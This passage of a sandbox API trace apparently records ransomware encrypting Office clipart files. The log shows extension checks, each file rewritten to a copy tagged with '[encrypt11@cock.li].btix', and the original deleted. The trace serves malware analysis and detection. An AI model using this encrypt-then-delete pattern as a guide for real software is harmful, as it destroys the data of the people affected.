returned 4 [0137.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.081] lstrlenW (lpString=".xls") returned 4 [0137.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.081] lstrlenW (lpString=".xlsx") returned 5 [0137.081] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.081] lstrlenW (lpString=".ppt") returned 4 [0137.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.081] lstrlenW (lpString=".zip") returned 4 [0137.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.081] lstrlenW (lpString=".rar") returned 4 [0137.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.081] lstrlenW (lpString=".bz2") returned 4 [0137.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.081] lstrlenW (lpString=".7z") returned 3 [0137.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.081] lstrlenW (lpString=".dbf") returned 4 [0137.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.082] lstrlenW (lpString=".1cd") returned 4 [0137.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.082] lstrlenW (lpString=".jpg") returned 4 [0137.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.082] lstrlenW (lpString=".doc") returned 4 [0137.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString=".docx") returned 5 [0137.082] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0137.082] lstrlenW (lpString=".pdf") returned 4 [0137.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString=".xls") returned 4 [0137.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.082] lstrlenW (lpString=".xlsx") returned 5 [0137.082] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0137.082] lstrlenW (lpString=".ppt") returned 4 [0137.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.082] lstrlenW (lpString=".zip") returned 4 [0137.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.082] lstrlenW (lpString=".rar") returned 4 [0137.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString=".bz2") returned 4 [0137.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.082] lstrlenW (lpString=".7z") returned 3 [0137.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.333] lstrlenW (lpString=".dbf") returned 4 [0137.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.333] lstrlenW (lpString=".1cd") returned 4 [0137.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0137.333] lstrlenW (lpString=".jpg") returned 4 [0137.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.334] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0137.334] lstrlenW (lpString="J0099180.WMF") returned 12 [0137.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0137.616] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3394) returned 1 [0137.616] CloseHandle (hObject=0x4c4) returned 1 [0137.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0137.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.631] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.631] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.632] GetLastError () returned 0x0 [0137.632] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xd42, lpOverlapped=0x0) returned 1 [0137.639] WriteFile (in: hFile=0x3b0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xd50, lpOverlapped=0x0) returned 1 [0137.640] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.640] WriteFile (in: hFile=0x3b0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.640] SetEndOfFile (hFile=0x3b0) returned 1 [0137.640] CloseHandle (hObject=0x3b0) returned 1 [0137.641] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.641] SetEndOfFile (hFile=0x540) returned 1 [0137.689] CloseHandle (hObject=0x540) returned 1 [0137.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0137.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.690] lstrlenW (lpString=".doc") returned 4 [0137.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString=".docx") returned 5 [0137.690] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0137.690] lstrlenW (lpString=".pdf") returned 4 [0137.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString=".xls") returned 4 [0137.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.690] lstrlenW (lpString=".xlsx") returned 5 [0137.690] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0137.690] lstrlenW (lpString=".ppt") returned 4 [0137.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.690] lstrlenW (lpString=".zip") returned 4 [0137.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.690] lstrlenW (lpString=".rar") returned 4 [0137.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString=".bz2") returned 4 [0137.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString=".7z") returned 3 [0137.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.690] lstrlenW (lpString=".dbf") returned 4 [0137.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.690] lstrlenW (lpString=".1cd") returned 4 [0137.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".jpg") returned 4 [0137.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".doc") returned 4 [0137.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString=".docx") returned 5 [0137.691] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0137.691] lstrlenW (lpString=".pdf") returned 4 [0137.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString=".xls") returned 4 [0137.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.691] lstrlenW (lpString=".xlsx") returned 5 [0137.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0137.691] lstrlenW (lpString=".ppt") returned 4 [0137.691] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".zip") returned 4 [0137.691] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.691] lstrlenW (lpString=".rar") returned 4 [0137.691] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString=".bz2") returned 4 [0137.691] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString=".7z") returned 3 [0137.691] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".dbf") returned 4 [0137.691] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".1cd") returned 4 [0137.691] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0137.691] lstrlenW (lpString=".jpg") returned 4 [0137.691] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.692] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.692] lstrlenW (lpString="J0099187.JPG") returned 12 [0137.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.693] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=24528) returned 1 [0137.693] CloseHandle (hObject=0x540) returned 1 [0137.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0137.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.693] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.693] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0137.694] GetLastError () returned 0x0 [0137.694] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0137.756] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0137.757] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.757] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.757] SetEndOfFile (hFile=0x498) returned 1 [0137.787] CloseHandle (hObject=0x498) returned 1 [0137.787] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.787] SetEndOfFile (hFile=0x540) returned 1 [0137.790] CloseHandle (hObject=0x540) returned 1 [0137.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0137.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.791] lstrlenW (lpString=".doc") returned 4 [0137.791] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.791] lstrlenW (lpString=".docx") returned 5 [0137.791] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.791] lstrlenW (lpString=".pdf") returned 4 [0137.791] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.791] lstrlenW (lpString=".xls") returned 4 [0137.791] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.791] lstrlenW (lpString=".xlsx") returned 5 [0137.791] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.791] lstrlenW (lpString=".ppt") returned 4 [0137.791] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString=".zip") returned 4 [0137.792] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.792] lstrlenW (lpString=".rar") returned 4 [0137.792] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.792] lstrlenW (lpString=".bz2") returned 4 [0137.792] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.792] lstrlenW (lpString=".7z") returned 3 [0137.792] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString=".dbf") returned 4 [0137.792] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString=".1cd") returned 4 [0137.792] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString=".jpg") returned 4 [0137.792] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.792] lstrlenW (lpString=".doc") returned 4 [0137.792] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.792] lstrlenW (lpString=".docx") returned 5 [0137.792] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0137.792] lstrlenW (lpString=".pdf") returned 4 [0137.792] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.792] lstrlenW (lpString=".xls") returned 4 [0137.792] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.792] lstrlenW (lpString=".xlsx") returned 5 [0137.792] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0137.792] lstrlenW (lpString=".ppt") returned 4 [0137.793] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.793] lstrlenW (lpString=".zip") returned 4 [0137.793] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0137.793] lstrlenW (lpString=".rar") returned 4 [0137.793] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0137.793] lstrlenW (lpString=".bz2") returned 4 [0137.793] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0137.793] lstrlenW (lpString=".7z") returned 3 [0137.793] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0137.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.793] lstrlenW (lpString=".dbf") returned 4 [0137.793] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0137.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.793] lstrlenW (lpString=".1cd") returned 4 [0137.793] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0137.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0137.793] lstrlenW (lpString=".jpg") returned 4 [0137.793] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0137.793] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0137.793] lstrlenW (lpString="J0099190.JPG") returned 12 [0137.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.795] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=43892) returned 1 [0137.795] CloseHandle (hObject=0x540) returned 1 [0137.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 0x220 [0137.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0137.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0137.795] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.795] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0137.796] GetLastError () returned 0x0 [0137.796] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xab74, lpOverlapped=0x0) returned 1 [0137.810] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xab80, lpOverlapped=0x0) returned 1 [0137.811] ReadFile (in: hFile=0x540, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.811] WriteFile (in: hFile=0x498, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0137.811] SetEndOfFile (hFile=0x498) returned 1 [0137.811] CloseHandle (hObject=0x498) returned 1 [0137.811] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.811] SetEndOfFile (hFile=0x540) returned 1 [0137.814] CloseHandle (hObject=0x540) returned 1 [0137.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0137.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0137.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.815] lstrlenW (lpString=".doc") returned 4 [0137.815] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0137.815] lstrlenW (lpString=".docx") returned 5 [0137.815] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0137.815] lstrlenW (lpString=".pdf") returned 4 [0137.815] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0137.815] lstrlenW (lpString=".xls") returned 4 [0137.815] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0137.815] lstrlenW (lpString=".xlsx") returned 5 [0137.815] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0137.815] lstrlenW (lpString=".ppt") returned 4 [0137.815] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0137.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099190.JPG") returned 68 [0137.815] lstrlenW (lpString=".zip") returned 4 [0137.815] lstrcmpiW 